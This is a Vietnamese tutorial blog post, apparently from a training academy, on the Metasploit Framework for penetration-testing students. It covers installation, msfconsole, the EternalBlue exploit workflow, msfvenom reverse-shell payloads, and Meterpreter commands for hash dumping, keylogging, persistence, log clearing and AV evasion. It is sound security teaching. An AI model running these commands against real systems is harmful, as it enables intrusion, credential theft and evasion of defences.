Pentest với Metasploit toàn tập 2026: Từ cơ bản đến khai thác thực chiến


Tóm tắt nhanh: Metasploit Framework là công cụ kiểm thử xâm nhập (penetration testing) mạnh nhất và phổ biến nhất thế giới với hơn 2,200 module exploit, 1,200 payload và 400+ post-exploitation module. Bài viết này là hướng dẫn toàn diện về Metasploit từ kiến trúc, cài đặt, sử dụng cơ bản đến các kỹ thuật khai thác nâng cao - dành cho Pentester, sinh viên CNTT và những người đang ôn thi CEH/OSCP.

Nếu bạn hỏi 100 Pentester chuyên nghiệp "Công cụ nào quan trọng nhất trong sự nghiệp của bạn?", thì 99 người sẽ trả lời: Metasploit.

Tại sao? Bởi vì Metasploit không chỉ là một công cụ - nó là một framework hoàn chỉnh giúp bạn thực hiện toàn bộ quá trình tấn công, từ trinh sát, quét lỗ hổng, khai thác, hậu khai thác, đến duy trì truy cập và xóa dấu vết. Tất cả gói gọn trong một hệ thống thống nhất, miễn phí, mã nguồn mở, được cập nhật hàng ngày bởi Rapid7 và cộng đồng toàn cầu.

Bài viết này sẽ là bản đồ toàn diện giúp bạn làm chủ Metasploit - từ những bước đầu tiên gõ lệnh msfconsole đến việc xây dựng kịch bản tấn công hoàn chỉnh trên Active Directory.


1. Metasploit Framework là gì? Lịch sử và vai trò

Metasploit Framework là một bộ công cụ mã nguồn mở dành cho kiểm thử xâm nhập (penetration testing) và phát triển exploit. Đây là dự án do H.D. Moore khởi tạo vào năm 2003, ban đầu được viết bằng Perl, sau đó chuyển sang Ruby vào năm 2007.

Năm 2009, Rapid7 mua lại Metasploit và phát triển 4 phiên bản:

Phiên bản Đối tượng Giá
Metasploit Framework Cộng đồng, học thuật Miễn phí, mã nguồn mở
Metasploit Pro Doanh nghiệp lớn $15,000+/năm
Metasploit Express SMB Đã ngừng
Metasploit Community Người dùng cá nhân Đã sáp nhập vào Framework

Trong bài viết này, chúng ta tập trung vào Metasploit Framework - phiên bản miễn phí mà 99% pentester trên thế giới đang dùng hàng ngày.

Tại sao Metasploit lại quan trọng?

Thứ nhất, kho exploit khổng lồ. Tính đến tháng 4/2026, Metasploit có:

  • 2,300+ exploit modules (CVE từ 2003 đến hiện tại)
  • 1,250+ payload modules
  • 1,400+ auxiliary modules (scanner, fuzzer, brute-forcer)
  • 400+ post-exploitation modules
  • 600+ encoder modules

Thứ hai, được cập nhật liên tục. Mỗi khi có CVE mới được công bố, cộng đồng Metasploit thường có module exploit trong vòng vài ngày đến vài tuần.

Thứ ba, tích hợp với mọi thứ. Metasploit có thể nhập kết quả từ Nmap, Nessus, Nexpose, OpenVAS, và nhiều công cụ khác - giúp pentester làm việc với một workflow thống nhất.

💡 Lưu ý quan trọng: Metasploit là công cụ "lưỡng dụng" - có thể dùng để bảo vệ (red team kiểm tra hệ thống) hoặc tấn công (kẻ xấu khai thác lỗ hổng). Việc sử dụng Metasploit để tấn công vào hệ thống không được phép là phạm pháp theo Luật An ninh mạng Việt Nam 2018, Điều 7. Hãy chỉ thực hành trong môi trường lab của riêng bạn hoặc khi có văn bản ủy quyền hợp pháp.


2. Kiến trúc và thành phần cốt lõi của Metasploit

Để sử dụng Metasploit hiệu quả, bạn cần hiểu kiến trúc của nó. Metasploit được tổ chức theo mô hình modular - mỗi chức năng là một module độc lập có thể nạp và chạy riêng biệt.

Kiến trúc tổng quan

┌────────────────────────────────────────────────────┐
│              GIAO DIỆN NGƯỜI DÙNG                  │
│  ┌─────────┐  ┌──────────┐  ┌────────┐  ┌──────┐  │
│  │msfconsol│  │  msfweb  │  │msfvenom│  │ RPC  │  │
│  └─────────┘  └──────────┘  └────────┘  └──────┘  │
└────────────────────┬───────────────────────────────┘
                     │
┌────────────────────▼───────────────────────────────┐
│              CORE FRAMEWORK (Ruby)                  │
│  ┌──────────────────────────────────────────────┐  │
│  │  Module Loader │ Plugin Manager │ Session Mgr│  │
│  └──────────────────────────────────────────────┘  │
└────────────────────┬───────────────────────────────┘
                     │
┌────────────────────▼───────────────────────────────┐
│                 7 LOẠI MODULE                       │
│ ┌─────────┐┌────────┐┌─────────┐┌───────┐┌──────┐ │
│ │Exploits ││Payloads││Auxiliary││Encoder││ NOPS │ │
│ └─────────┘└────────┘└─────────┘└───────┘└──────┘ │
│ ┌─────────────┐    ┌───────────────────┐          │
│ │Post-Exploit │    │ Evasion (v6+)     │          │
│ └─────────────┘    └───────────────────┘          │
└────────────────────┬───────────────────────────────┘
                     │
┌────────────────────▼───────────────────────────────┐
│              DATABASE BACKEND                       │
│  ┌────────────────────────────────────────────┐   │
│  │  PostgreSQL (lưu hosts, services, vulns)   │   │
│  └────────────────────────────────────────────┘   │
└────────────────────────────────────────────────────┘

7 loại module chính

1. Exploits - Code khai thác lỗ hổng cụ thể (ví dụ: ms17_010_eternalblue)

2. Payloads - Code chạy trên máy nạn nhân sau khi khai thác (reverse_tcp, meterpreter)

3. Auxiliary - Module hỗ trợ: scanner, fuzzer, sniffer, dos

4. Encoders - Mã hóa payload để tránh antivirus

5. NOPs - "No Operation" instructions để pad payload

6. Post-Exploitation - Module chạy sau khi đã chiếm được máy

7. Evasion - Module tạo payload tránh AV/EDR (mới từ v6)

Tìm hiểu sâu hơn: Metasploit Framework là gì? Kiến trúc và thành phần


3. Cài đặt Metasploit trên các hệ điều hành

Cài đặt trên Kali Linux (Khuyến nghị)

Kali Linux đã cài sẵn Metasploit, bạn chỉ cần cập nhật:

sudo apt update && sudo apt upgrade metasploit-framework
sudo msfdb init    # Khởi tạo database PostgreSQL
msfconsole         # Khởi động Metasploit

Cài đặt trên Ubuntu/Debian

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall && ./msfinstall

Cài đặt trên Windows

Tải file installer từ https://www.metasploit.com/ và chạy với quyền Administrator. Tuy nhiên, Windows không phải nền tảng tối ưu - nên dùng Kali Linux trên VM.

Cài đặt trên macOS

brew install metasploit

Hướng dẫn chi tiết: Cài đặt Metasploit trên Kali Linux và Ubuntu | Cài đặt Kali Linux trên VMware và VirtualBox


4. Làm chủ msfconsole - Giao diện chỉ huy của Metasploit

msfconsole là giao diện dòng lệnh chính của Metasploit. Đây là nơi bạn sẽ dành 90% thời gian làm việc với framework.

Các lệnh cơ bản nhất

# Tìm kiếm module
msf6 > search ms17-010
msf6 > search type:exploit platform:windows cve:2021

# Sử dụng module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > 

# Xem các tùy chọn của module
msf6 exploit(ms17_010_eternalblue) > show options

# Đặt giá trị cho tùy chọn
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50

# Chọn payload
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Khai thác!
msf6 exploit(ms17_010_eternalblue) > exploit
# hoặc viết tắt
msf6 exploit(ms17_010_eternalblue) > run

Quy ước biến quan trọng cần nhớ

Biến Ý nghĩa Ví dụ
RHOSTS Remote Host (IP máy nạn nhân) 192.168.1.100
RPORT Remote Port 445
LHOST Local Host (IP máy tấn công) 192.168.1.50
LPORT Local Port (port lắng nghe) 4444
PAYLOAD Payload sử dụng windows/meterpreter/reverse_tcp
TARGET Phiên bản target cụ thể 0 (auto), 1, 2...

Database trong Metasploit

# Khởi tạo
msf6 > db_status
msf6 > workspace -a my_pentest    # Tạo workspace mới

# Import kết quả Nmap
msf6 > db_nmap -sV -p- 192.168.1.0/24

# Xem hosts đã phát hiện
msf6 > hosts
msf6 > services
msf6 > vulns

Học chi tiết: Hướng dẫn sử dụng msfconsole cho người mới


5. Quy trình khai thác chuẩn 5 bước

Đây là workflow chuẩn mà mọi pentester chuyên nghiệp đều sử dụng khi làm việc với Metasploit:

Bước 1: Reconnaissance (Trinh sát)

# Quét mạng với Nmap, import vào Metasploit
msf6 > db_nmap -sS -sV -O 192.168.1.0/24

# Sử dụng auxiliary scanner của Metasploit
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

Bước 2: Vulnerability Scanning (Quét lỗ hổng)

# Kiểm tra lỗ hổng SMB MS17-010 (EternalBlue)
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

Bước 3: Exploitation (Khai thác)

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > exploit

Bước 4: Post-Exploitation (Hậu khai thác)

# Sau khi có meterpreter session
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem    # Privilege escalation
meterpreter > hashdump     # Lấy hash mật khẩu
meterpreter > screenshot
meterpreter > keyscan_start

Bước 5: Reporting (Báo cáo)

msf6 > db_export -f xml report.xml
msf6 > loot     # Xem các file đã lấy được
msf6 > notes    # Ghi chú trong quá trình test

Đọc thêm: Khai thác lỗ hổng EternalBlue MS17-010 với Metasploit | Post-Exploitation với Metasploit: Privilege Escalation


6. Payload và msfvenom - Vũ khí của Pentester

Payload là code được thực thi trên máy nạn nhân sau khi exploit thành công. Hiểu về payload là kỹ năng quan trọng nhất khi làm việc với Metasploit.

Phân loại payload

Theo cách kết nối:

Loại Mô tả Khi nào dùng
Bind shell Mở port trên máy nạn nhân, chờ kết nối Khi nạn nhân có IP công cộng
Reverse shell Máy nạn nhân kết nối ngược về máy tấn công Phổ biến nhất (vượt firewall)
Staged Tải payload từng bước (stager + stage) Payload nhỏ, ít bị AV phát hiện
Stageless Payload đầy đủ trong 1 file Đơn giản, dễ kiểm soát

msfvenom - Tạo payload độc lập

# Tạo Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o shell.exe

# Tạo Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f elf -o shell.elf

# Tạo Web shell PHP
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o shell.php

# Tạo Android APK
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -o malicious.apk

Hướng dẫn đầy đủ: Cách tạo Payload với msfvenom


7. Meterpreter - Trợ thủ đắc lực sau khai thác

Meterpreter là payload đặc biệt và mạnh nhất của Metasploit. Khác với shell thông thường (chạy ở user space, dễ bị phát hiện), Meterpreter:

  • ✅ Chạy hoàn toàn trong bộ nhớ (in-memory), không ghi vào disk
  • ✅ Mã hóa toàn bộ giao tiếp (TLS)
  • ✅ Có thể migrate sang process khác để tránh bị kill
  • ✅ Cung cấp 200+ lệnh built-in

Các lệnh Meterpreter quan trọng

# Information gathering
meterpreter > sysinfo            # Thông tin hệ thống
meterpreter > getuid             # User hiện tại
meterpreter > ps                 # Liệt kê process
meterpreter > ipconfig           # Network info

# Privilege escalation
meterpreter > getsystem          # Tự động escalate
meterpreter > load priv          # Load priv extension

# Credential dumping
meterpreter > hashdump           # Dump SAM hashes
meterpreter > load kiwi          # Load Mimikatz
meterpreter > kiwi_cmd "lsadump::sam"

# File operations
meterpreter > download file.txt /tmp/
meterpreter > upload payload.exe C:\\Windows\\Temp\\
meterpreter > cat C:\\Users\\admin\\Desktop\\flag.txt

# Network pivoting
meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.5

# Persistence
meterpreter > run persistence -X -i 30 -p 4444 -r 192.168.1.50

# Stealth
meterpreter > migrate 1234       # Chuyển sang process khác
meterpreter > clearev            # Xóa Event log

Đọc đầy đủ: Meterpreter là gì? Toàn bộ lệnh Meterpreter | Pivoting và Lateral Movement với Metasploit


8. Tích hợp Metasploit với các công cụ khác

Sức mạnh thực sự của Metasploit nằm ở khả năng tích hợp với các công cụ khác trong toolkit của Pentester.

Tích hợp với Nmap

# Quét Nmap và lưu kết quả
nmap -sV -sC -oX scan.xml 192.168.1.0/24

# Import vào Metasploit
msf6 > db_import scan.xml
msf6 > hosts
msf6 > services

Tích hợp với Nessus

# Cài plugin Nessus
msf6 > load nessus
msf6 > nessus_connect admin:password@localhost:8834
msf6 > nessus_scan_new  "My Scan" "Scan from MSF" 192.168.1.0/24
msf6 > nessus_scan_launch 
msf6 > nessus_report_get 

Tích hợp với BloodHound (cho Active Directory)

Dùng meterpreter để extract thông tin AD, sau đó nhập vào BloodHound để vẽ attack path.

Học chi tiết: Tích hợp Metasploit với Nmap và Nessus | Lab Metasploit: Khai thác Active Directory


9. Lab thực hành cho người mới

Học Metasploit không thể chỉ đọc lý thuyết - bạn PHẢI thực hành. Dưới đây là 3 lab miễn phí phù hợp với mọi cấp độ.

Lab 1: Metasploitable 2 (Cấp độ: Beginner)

Metasploitable 2 là máy ảo Linux có chủ đích chứa hàng chục lỗ hổng để bạn thực hành.

Cách triển khai:

  1. Tải Metasploitable 2 từ SourceForge
  2. Cài lên VMware/VirtualBox
  3. Đặt vào cùng mạng với Kali Linux
  4. Bắt đầu khai thác!

Các lỗ hổng thực hành:

  • vsftpd 2.3.4 backdoor (port 21)
  • UnrealIRCd backdoor (port 6667)
  • Samba username map script (port 139/445)
  • Tomcat manager default credentials (port 8180)

Hướng dẫn từng bước: Lab Metasploit: Tấn công Metasploitable 2

Lab 2: TryHackMe & HackTheBox (Cấp độ: Intermediate)

Hai nền tảng CTF online phổ biến nhất:

  • TryHackMe - Phù hợp người mới, có hướng dẫn từng bước
  • HackTheBox - Khó hơn, không hướng dẫn, "thử trí thông minh"

Đọc thêm: Lab Kali: Tấn công TryHackMe và HackTheBox

Lab 3: Active Directory Lab (Cấp độ: Advanced)

Tự xây Active Directory lab để thực hành các kỹ thuật tấn công enterprise:

  • 1 Domain Controller (Windows Server 2019/2022)
  • 2-3 Workstation (Windows 10/11)
  • 1 Member Server (SQL, IIS)
  • Kali Linux để tấn công

Chi phí: 0đ (chỉ cần evaluation license của Microsoft, dùng được 180 ngày).


10. Bypass Antivirus và các kỹ thuật nâng cao

Một sự thật phũ phàng: payload mặc định của Metasploit bị mọi antivirus phát hiện trong vòng 5 giây. Nếu bạn muốn làm pentester thực thụ, bạn phải biết cách bypass AV.

Các kỹ thuật bypass AV cơ bản

1. Mã hóa với encoder:

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic -i 5 \
  -f exe -o encoded_payload.exe

2. Tự encode bằng custom shellcode loader (C/C#)

3. Process Hollowing và Reflective DLL Injection

4. AMSI Bypass cho PowerShell payload

5. Direct Syscalls để tránh hook EDR

Armitage - Giao diện đồ họa

Nếu bạn muốn cảm giác "Hollywood hacker", Armitage là giao diện đồ họa cho Metasploit với khả năng visualize attack path.

sudo apt install armitage
sudo armitage

Đọc chi tiết: Bypass Antivirus với Metasploit Encoder | Armitage - Giao diện đồ họa cho Metasploit


🎯 Kết luận: Lộ trình master Metasploit

Để thực sự làm chủ Metasploit, hãy đi theo lộ trình này:

Tháng 1: Cài đặt, làm quen msfconsole, hiểu các loại module

Tháng 2: Hoàn thành Metasploitable 2 - khai thác hết các lỗ hổng có sẵn

Tháng 3: Học msfvenom, tạo các loại payload, hiểu Meterpreter

Tháng 4-5: Lab TryHackMe và HackTheBox (ít nhất 20-30 boxes)

Tháng 6: Tự xây AD Lab và thực hành các kỹ thuật enterprise pentest

Tháng 7+: Học AV bypass, custom shellcode, OPSEC nâng cao

🚀 Học Metasploit chuyên nghiệp tại Security365 Academy

Security365 Academy cung cấp:

  • Khóa "Pentest Với Metasploit" - 60 giờ học, 30+ lab thực chiến
  • Khóa CEH v13 có module Metasploit chuyên sâu
  • Khóa Hacking Với Kali Linux kết hợp Metasploit và 50+ tool khác
  • Lab AD Pentest - Thực hành tấn công môi trường enterprise

👉 Đăng ký tư vấn miễn phí để nhận lộ trình học Metasploit từ Zero đến Pentester chuyên nghiệp.


📚 Đọc tiếp các bài liên quan


Bài viết được biên soạn bởi đội ngũ chuyên gia Security365 Academy. Tất cả ví dụ trong bài chỉ phục vụ mục đích giáo dục - vui lòng chỉ thực hành trên hệ thống bạn được phép. Cập nhật mới nhất: Tháng 4/2026.

Tags: #Metasploit #Pentest #msfvenom #Meterpreter #EthicalHacking #KaliLinux #Security365

Bài viết cùng danh mục